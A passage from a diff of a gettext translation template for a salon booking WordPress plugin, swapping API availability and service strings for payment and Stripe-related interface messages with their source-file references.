build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160\n-msgid \"Booking id.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:105\n+msgid \"Payment method mismatch. Please try again or contact support.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72\n-msgid \"Check all services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:95\n+msgid \"Payment methods\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:78\n-msgid \"Services need to check.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:138\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:138\n+msgid \"\"\n+\"Payment not completed. The customer has not finished the payment on Stripe.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141, src\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39\n-msgid \"Booking services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11\n+msgid \"Payment of remaining amount of booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180\n-msgid \"Selected service id.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:107\n+msgid \"\"\n+\"Payment operation parameter missing. Please try again or contact support.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349, src\u002FSLB_API\u002FController\u002FServices_Controller.php:302, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:302, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:302, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:379, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:255\n-msgid \"Get categories error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:205\n+msgid \"Payment Settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39, src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81\n-msgid \"Selected primary services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:107\n+msgid \"Payment verified via Stripe. This booking was already marked as paid.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48, src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90\n-msgid \"Selected secondary services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16\n+msgid \"Payments\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:39, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:41, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34, 